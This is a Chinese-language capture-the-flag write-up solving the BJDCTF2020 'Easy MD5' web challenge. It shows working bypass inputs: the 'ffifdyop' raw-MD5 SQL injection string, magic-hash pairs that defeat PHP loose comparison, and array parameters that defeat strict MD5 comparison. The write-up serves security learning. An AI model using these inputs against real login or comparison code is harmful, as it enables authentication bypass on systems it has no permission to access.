2020-BJDCTF-Web-Easy MD5

复现环境

https://buuoj.cn/challenges#[BJDCTF2020]Easy%20MD5

考察知识点

  • 代码审计
  • MD5绕过
  • 弱类型比较

解题分析

访问题目是一个查询框,提交查询会传入一个password参数

查询框

响应头里有提示md5($pass,true)

md51

md5(string,true)函数在指定了true的时候,是返回的原始 16 字符二进制格式。

而MD5绕过就是利用二进制字符串和前面的形成闭合,构成万能密码。

content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b

我们输入这个ffifdyop字符串以后出现以下的页面

ffifdyop

提示在源码里面

源码

if($a != $b && md5($a) == md5($b))

这个有多种绕过

?a=QNKCDZO&b=240610708

?a=s878926199a&b=s155964671a

?a[]=1&b[]=2

等等

弱类型比较绕过

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))

弱类型比较变成了强类型比较了,这里就只能用php数组绕过,由于哈希函数无法处理php数组,在遇到数组时返回false,我们就可以利用false==false成立使条件成立。

php数组绕过

推荐阅读更多精彩内容